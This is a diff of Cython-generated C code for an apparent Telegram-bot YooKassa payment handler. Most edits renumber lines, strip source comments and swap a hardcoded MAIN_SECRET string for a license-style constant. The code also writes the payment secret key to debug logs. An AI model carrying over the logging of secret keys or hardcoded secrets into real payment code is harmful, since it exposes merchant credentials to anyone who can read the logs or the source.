__pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_BACK); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_BACK); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_BACK, __pyx_t_2) < 0) __PYX_ERR(0, 30, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_BACK, __pyx_t_2) < 0) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_CUSTOM_SUM); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_CUSTOM_SUM); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_CUSTOM_SUM, __pyx_t_2) < 0) __PYX_ERR(0, 31, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_CUSTOM_SUM, __pyx_t_2) < 0) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE, __pyx_t_2) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PAY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PAY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAY, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAY, __pyx_t_2) < 0) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PAY_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PAY_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAY_2, __pyx_t_2) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAY_2, __pyx_t_2) < 0) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PROFILE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PROFILE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_PROFILE, __pyx_t_2) < 0) __PYX_ERR(0, 35, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PROFILE, __pyx_t_2) < 0) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":37 - * PROFILE, - * ) - * from handlers.payments.gift import YOOKASSA_HASH # <<<<<<<<<<<<<< - * from handlers.payments.utils import send_payment_success_notification - * from handlers.texts import PAYMENT_OPTIONS, AMOUNT_TEXT - */ - __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 37, __pyx_L1_error) + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_YOOKASSA_HASH); __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_HASH); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_YOOKASSA_HASH)) __PYX_ERR(0, 37, __pyx_L1_error); - __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_payments_gift, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_YOOKASSA_HASH)) __PYX_ERR(0, 38, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_payments_gift, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 37, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_HASH, __pyx_t_3) < 0) __PYX_ERR(0, 37, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_HASH, __pyx_t_3) < 0) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":38 - * ) - * from handlers.payments.gift import YOOKASSA_HASH - * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< - * from handlers.texts import PAYMENT_OPTIONS, AMOUNT_TEXT - * from logger import logger - */ - __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); __Pyx_GIVEREF(__pyx_n_s_send_payment_success_notificatio); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 38, __pyx_L1_error); - __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 39, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_2) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_2) < 0) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":39 - * from handlers.payments.gift import YOOKASSA_HASH - * from handlers.payments.utils import send_payment_success_notification - * from handlers.texts import PAYMENT_OPTIONS, AMOUNT_TEXT # <<<<<<<<<<<<<< - * from logger import logger - * - */ - __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 39, __pyx_L1_error) + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 39, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 40, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_AMOUNT_TEXT); __Pyx_GIVEREF(__pyx_n_s_AMOUNT_TEXT); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_AMOUNT_TEXT)) __PYX_ERR(0, 39, __pyx_L1_error); - __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 39, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_AMOUNT_TEXT)) __PYX_ERR(0, 40, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 39, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_3) < 0) __PYX_ERR(0, 39, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_3) < 0) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 39, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_AMOUNT_TEXT, __pyx_t_3) < 0) __PYX_ERR(0, 39, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_AMOUNT_TEXT, __pyx_t_3) < 0) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":40 - * from handlers.payments.utils import send_payment_success_notification - * from handlers.texts import PAYMENT_OPTIONS, AMOUNT_TEXT - * from logger import logger # <<<<<<<<<<<<<< - * - * router = Router() - */ - __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_logger); __Pyx_GIVEREF(__pyx_n_s_logger); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_logger)) __PYX_ERR(0, 40, __pyx_L1_error); - __pyx_t_3 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_logger)) __PYX_ERR(0, 41, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_2) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_2) < 0) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":42 - * from logger import logger - * - * router = Router() # <<<<<<<<<<<<<< - * - * - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_2) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_2) < 0) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":45 - * - * - * MAIN_SECRET = "PIRAT0ETO7DLYA9TEBYA" # <<<<<<<<<<<<<< - * - * if YOOKASSA_ENABLE: - */ - if (PyDict_SetItem(__pyx_d, __pyx_n_s_MAIN_SECRET, __pyx_n_u_PIRAT0ETO7DLYA9TEBYA) < 0) __PYX_ERR(0, 45, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_MAIN_SECRET, __pyx_kp_u_PROJECT_06_01_09_LICENSION) < 0) __PYX_ERR(0, 46, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":47 - * MAIN_SECRET = "PIRAT0ETO7DLYA9TEBYA" - * - * if YOOKASSA_ENABLE: # <<<<<<<<<<<<<< - * Configuration.account_id = YOOKASSA_SHOP_ID - * Configuration.secret_key = YOOKASSA_SECRET_KEY - */ - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOKASSA_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOKASSA_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 47, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_4) { - /* "handlers/payments/yookassa_pay.py":48 - * - * if YOOKASSA_ENABLE: - * Configuration.account_id = YOOKASSA_SHOP_ID # <<<<<<<<<<<<<< - * Configuration.secret_key = YOOKASSA_SECRET_KEY - * logger.debug(f"Account ID: {YOOKASSA_SHOP_ID}") - */ - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Configuration); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Configuration); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (__Pyx_PyObject_SetAttrStr(__pyx_t_3, __pyx_n_s_account_id, __pyx_t_2) < 0) __PYX_ERR(0, 48, __pyx_L1_error) + if (__Pyx_PyObject_SetAttrStr(__pyx_t_3, __pyx_n_s_account_id, __pyx_t_2) < 0) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":49 - * if YOOKASSA_ENABLE: - * Configuration.account_id = YOOKASSA_SHOP_ID - * Configuration.secret_key = YOOKASSA_SECRET_KEY # <<<<<<<<<<<<<< - * logger.debug(f"Account ID: {YOOKASSA_SHOP_ID}") - * logger.debug(f"Secret Key: {YOOKASSA_SECRET_KEY}") - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Configuration); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Configuration); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (__Pyx_PyObject_SetAttrStr(__pyx_t_2, __pyx_n_s_secret_key, __pyx_t_3) < 0) __PYX_ERR(0, 49, __pyx_L1_error) + if (__Pyx_PyObject_SetAttrStr(__pyx_t_2, __pyx_n_s_secret_key, __pyx_t_3) < 0) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":50 - * Configuration.account_id = YOOKASSA_SHOP_ID - * Configuration.secret_key = YOOKASSA_SECRET_KEY - * logger.debug(f"Account ID: {YOOKASSA_SHOP_ID}") # <<<<<<<<<<<<<< - * logger.debug(f"Secret Key: {YOOKASSA_SECRET_KEY}") - * - */ - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 50, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_2, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 50, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_2, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Account_ID, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Account_ID, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 50, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/yookassa_pay.py":51 - * Configuration.secret_key = YOOKASSA_SECRET_KEY - * logger.debug(f"Account ID: {YOOKASSA_SHOP_ID}") - * logger.debug(f"Secret Key: {YOOKASSA_SECRET_KEY}") # <<<<<<<<<<<<<< - * - * - */ - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_debug); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 51, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_debug); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 51, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Secret_Key, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 51, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Secret_Key, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 51, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":47 - * MAIN_SECRET = "PIRAT0ETO7DLYA9TEBYA" - * - * if YOOKASSA_ENABLE: # <<<<<<<<<<<<<< - * Configuration.account_id = YOOKASSA_SHOP_ID - * Configuration.secret_key = YOOKASSA_SECRET_KEY - */ } - /* "handlers/payments/yookassa_pay.py":54 - * - * - * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< - * choosing_amount_yookassa = State() - * waiting_for_payment_confirmation_yookassa = State() - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 54, __pyx_L1_error) + __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PEP560_update_bases(__pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __pyx_t_3 = __Pyx_PEP560_update_bases(__pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_CalculateMetaclass(NULL, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) + __pyx_t_2 = __Pyx_CalculateMetaclass(NULL, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = 